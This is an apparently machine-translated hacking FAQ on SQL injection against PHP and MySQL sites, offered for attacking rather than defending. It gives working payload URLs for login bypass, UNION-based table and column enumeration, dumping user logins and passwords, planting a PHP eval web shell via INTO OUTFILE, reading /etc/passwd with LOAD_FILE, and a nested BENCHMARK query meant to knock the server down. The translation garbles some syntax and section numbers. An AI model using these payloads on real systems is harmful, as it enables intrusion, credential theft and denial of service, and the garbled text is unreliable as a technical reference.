SQL Injection [full FAQ]
Crawling on the Internet in search of at least some information on SQL injection you probably often stumbled upon articles either very short, or incomprehensible, or covering one topic or something else which of course did not suit you. Once, I have collected somewhere 10-20 articles on this topic in order to penetrate into many subtleties of this vulnerability. And now, remembering those times, I decided to write a complete FAQ on this topic, so that the rest would not suffer. And another request. Those who find that I missed something, where it was wrong, etc., please write below, it’s difficult all the same, to keep everything in your head . By the way, this is my first article, please do not throw tomatoes, and do not kick your feet.
It’s not the first day that you get carried away by hacking. You probably know what SQL injection is. If not, then this is an article for you. SQL injection further simple injection is a type of attack in which the attacker modifies the original database query so that when the query is executed, the information he needs is derived from the database.
To assimilate this article requires:
a) The presence of brains
b) Straight arms
c) SQL language knowledge
Basically, this article was written as for MYSQL + PHP, but there are a couple of examples with MSSQL.
In general, in my opinion, the best way to learn how to work correctly with SQL injection is not to read this article, but to lively practice , for example, write a vulnerable script yourself, or use my one given at the very end.
By the way, I advise you to read everything in a row because each item has something important for the next item, etc.
1. HOW TO FIND SQL INJECTIONIt's pretty simple. It is necessary to insert in all fields, variables, cookies, double and single quotes.
1.1 Second first
Let's start with this script
1 . Suppose that the original query to the database looks like this:
SELECT * FROM news WHERE id=' 1 ';Now we will add a quotation mark in the "id" variable, like this - if the variable is not filtered and error messages are included, then something like this will come out:
mysql_query (): You have an error in your SQL syntax; check the syntax for your right;
As in the query to the database there will be an extra quote:
SELECT * FROM news WHERE id=' 1' ';If the error report is turned off, then in this case it is possible to determine the presence of a vulnerability like this (It would also not hurt that it would not be confused with clause 1.4. As described in the same clause): That is, the query to the database will become like this:
SELECT * FROM news WHERE id=' 1'; -- ';(For those who are in the tank “-“ this is the sign of the beginning of the comment, everything after it will be discarded, I also want to draw your attention to the fact that after it there must be a space (This is written in the MYSQL documentation) and, by the way, too). Thus, for MYSQL, the request remains the same and displays the same as for http: //xxx/news.php? Id = 1
The whole point 2 is devoted to what to do with this vulnerability.
1.2 Second case
SQL has a LIKE statement. It is used to compare strings. Here's an authorization script when entering a username and password, asking for a database like this:
SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '123';
Even if this script filters the quote, it still remains vulnerable to injection. Instead of the password, we just need to enter "%" (For the LIKE operator, the "%" character matches any string) and then the query will become
SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '%';
and let us go inside with the login 'Admin'. In this case, we not only found SQL injection but also successfully used it.
1.3 The third case
What to do if in the same authorization script there is no quotation check. IMHO it would be at least stupid to use this injection to display some sort of information. Let the query to the database be of the type:
SELECT * FROM users WHERE login = 'Admin' AND pass = '123';
Unfortunately the password '123' does not fit but we found an injection in the 'login' parameter and in order to register under the name 'Admin' we need to enter something like this Admin instead of it '; - that is, the part with the password check is discarded and we enter under the nickname 'Admin'.
SELECT * FROM users WHERE login = ' Admin'; - 'AND pass =' 123 ';
And now what to do if the vulnerability in the 'pass' field. We enter the following in this field 123 'OR login =' Admin '; - . The request will be as follows:
SELECT * FROM users WHERE login = 'Admin' AND pass = '123' OR login = 'Admin'; - ';
That for a DB it will be absolutely independent to such request:
SELECT * FROM users WHERE (login = 'Admin' AND pass = '123') OR (login = 'Admin');
And after these actions, we will become the full owner of the Acca with the login name 'Admin'.
1.4 The fourth case
Let's return to the news script. From the SQL language, we must remember that numeric parameters are not put in quotes, that is, with such an appeal to the script http: //xxx/news.php? Id = 1, the query to the database looks like this:
SELECT * FROM news WHERE id = 1 ;
You can also detect this injection by inserting quotes into the 'id' parameter and then jumping out the same error message:
mysql_query (): You have an error in your SQL syntax; check the syntax for your right;
If this message does not vyprigivaet then you can understand that the quotation mark is filtered and then you need to enter http: //xxx/news.php? Id = 1 bla-bla-bla
The DB will not understand this bla bla bla and will give an error message like:
mysql_query (): You have an error in your SQL syntax; check the syntax for your right syntax to use it near '1 bla-bla-bla'
If the error report is turned off then we check it like this http: //xxx/news.php? Id = 1; -
Should it be displayed exactly the same as http: //xxx/news.php? Id = 1
Now you can go to step 2.
2. WHAT AND HOW CAN YOU LEARN FROM THIS USEFUL
Further, only the type of vulnerability described in clause 1.1 will be considered, and you can redo it for the rest, it’s not difficult
2.1 UNION Team
For a start, the most useful is the UNION team (who does not know to go to Google ) ...
Modifying the appeal to the script http: //xxx/news.php? Id = 1 'UNION SELECT 1 - . We get the query to the database like this:
SELECT * FROM news WHERE id = '1' UNION SELECT 1 - ';
18.104.22.168 Selection of the number of fields (Method 1)
Not forgetting that the number of columns before UNION and after must correspond, an error will probably come out (unless there is one column in the news table) like:
mysql_query (): The used SELECT statements have a different number of columns
In this case, we need to select the number of columns (so that their number before UNION and after corresponded). We do it like this:
http: //xxx/news.php? id = 1 'UNION SELECT 1, 2 -
Mistake. " The used SELECT statements have a different number of columns "
http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3 -
http: //xxx/news.php? id = 1 'UNION SELECT 1,2,3,4,5,6 -
ABOUT! It was displayed just like http: //xxx/news.php? Id = 1
it means the number of fields is selected, that is, there are 6 of them ...
22.214.171.124 Selection of the number of fields (Method 2)
And this method is based on selecting the number of fields using GROUP BY . That is, a request of this type:
http: //xxx/news.php? id = 1 'GROUP BY 2 -
It will be displayed without errors if the number of fields is less than or equal to 2.
We make a request of this type:
http: //xxx/news.php? id = 1 'GROUP BY 10 -
Oops ... There was a type error.
mysql_query (): Unknown column '10' in 'group statement'
So the columns are less than 10. Divide 10 by 2. And we make a query
http: //xxx/news.php? id = 1 'GROUP BY 5 -
There is no error, so the number of columns is greater than or equal to 5 but less than 10. Now we take the average value between 5 and 10, which is obtained like 7. Make the query:
http: //xxx/news.php? id = 1 'GROUP BY 7 -
Oh again, the error ...
mysql_query (): Unknown column '7' in 'group statement'
So the amount is greater than or equal to 5 but less than 7. Well, and then make a request
http: //xxx/news.php? id = 1 'GROUP BY 6 -
There are no errors ... So the number is greater than or equal to 6 but less than 7. It follows that the required number of columns is 6.
126.96.36.199 Selection of the number of fields (Method 3)
The same principle as in clause 188.8.131.52 only uses the ORDER BY function. And the error text slightly changes if there are more fields.
mysql_query (): Unknown column '10' in 'order clause'
2.1.2 Definition of displayed columns
I think that for many of us exactly the same page as http: //xxx/news.php? Id = 1 does not suit. So we need to make sure that nothing is output on the first request (before UNION ). The simplest thing is to change the "id" from '1' to '-1' (or to '9999999')
http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 - Now we have somewhere in the page should display some of these numbers. (For example, since this is conditionally a news script, then in the “News title” it will be displayed, let's say 3, “News” -4 and so on). Now, in order for us to get some information, we need to replace these numbers in the application to the script with the functions we need. If the numbers are not displayed anywhere else, then the remaining subparagraphs of paragraph 2.1 can be skipped.
2.1.3 SIXSS (SQL Injection Cros Site Scripting)
This XSS only through a request to the database. Example:
http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,' <script> alert ('SIXSS') </ script> ', 5,6 - Well, I think it’s not hard to understand 4 in the page will be replaced by <script> alert ('SIXSS') </ script> and accordingly the exact same XSS will turn out.
2.1.4 Column / table names
If you know the names of tables and columns in the database, you can skip this item
If you do not know ... There are two ways.
184.108.40.206 Names of columns / tables if you have access to INFORMATION_SCHEMA and if the version of MYSQL> = 5
The INFORMATION_SCHEMA.TABLES table contains information about all the tables in the database, the column TABLE_NAME-table names.
http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES - There may be a problem here. Since only the first line of the database response will be displayed. Then we need to use LIMIT like this:
Output first line:
http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1.1 -
The output of the second line:
http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2,1 - etc.
Well, we found the Users table. Only this ... ahem ... the columns do not know ... Then the INFORMATION_SCHEMA.COLUMNS table comes to our aid; the column COLUMN_NAME contains the name of the column in the table TABLE_NAME . This is how we retrieve the column names.
http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Users' LIMIT 1,1 -
http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Users' LIMIT 2,1 -
And here we found the login , password fields.
220.127.116.11 Column / table names if INFORMATION_SCHEMA is not available
This is a zhopny option. . Here comes into force the usual brutofores ... Example:
http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,4,5,6 FROM tbl_name -
It is necessary to select Table_name until the error message of the following type disappears:
mysql_query (): Table ' Tbl_name ' does not exist
Well, we introduced, to our happiness, the Users lost the error message, and the page was displayed as if http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 - what does this mean ? This means that there is a Users table and you need to start sorting the columns.
http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3, Column Name , 5,6 FROM Users -
It is necessary to select ColumnName until the error message of the following type disappears:
mysql_query (): Unknown column ' Columnname ' 'in' field list '
Where the error message disappears, then such a column exists.
And this is how we learned that in the Users table there are login , password columns.
2.1.5 Information display
Accessing the script in the following way http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, login, password, 5,6 FROM Users LIMIT 1.1 - Displays the login and password of the first user from the table Users .
2.2 Work with files
2.2.1 Write to file
There is such an interesting SELECT ... INTO OUTFILE function in MYSQL that allows you to write information to a file. Or, such a SELECT ... INTO DUMPFILE construction is almost similar and you can use any.
Example: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2,3,4,5,6 INTO OUTFILE' 1.txt '; -
For her, there are several limitations.
- It is forbidden to overwrite files
- Requires FILE privileges
- (!) Mandatory true quotes in the file name
But what would prevent us from making the web go? Here, for example:
http: //xxx/news.php? id = -1 'UNION SELECT 1,2,3,' <? php eval ($ _ GET ['e'])?> ', 5,6 INTO OUTFILE' 1.php '; -
It remains only to find the full path to the site root on the server and add it before 1.php. In principle, you can find another error in the report which will see the path on the server or leave it at the root of the server and pick it up with a local connection, but this is another topic.
2.2.2 Reading Files
Consider the function LOAD_FILE
Example: http: //xxx/news.php? Id = -1 'UNION SELECT 1,2, LOAD_FILE (' etc / passwd '), 4,5,6;
For her, there are also a few limitations.
- The full path to the file must be specified.
- Requires FILE privileges
- The file must be on the same server.
- The size of this file must be less than specified in max_allowed_packet
- The file must be open for reading by the user from under which the MYSQL is running.
If the function fails to read the file, it returns NULL.
2.3 DOS attack on SQL server
In most cases, the SQL server is reached due to the fact that nothing else can be done. Type could not find the table / columns, no rights to this, no rights to it, etc. I honestly against this method but all the same ...
Closer to the point ...
The BENCHMARK function performs the same action several times.
SELECT BENCHMARK (100000, md5 (current_time));
That is, here this function does md5 (current_time) 100,000 times, which takes about 0.7 seconds on my computer ... It seemed like this ... And if you try the embedded BENCHMARK ?
SELECT BENCHMARK (100000, BENCHMARK (100000, md5 (current_time)));
It takes a very long time to be honest, I didn’t even wait ... I had to do a reset .
An example of Dos in our case:
http: //xxx/news.php? id = -1 'UNION SELECT 1, 2, BENCHMARK (100000, BENCHMARK (100000, md5 (current_time))), 4, 5, 6; -
Just 100 times to poke F5 and “the server will fall into a fast down”))).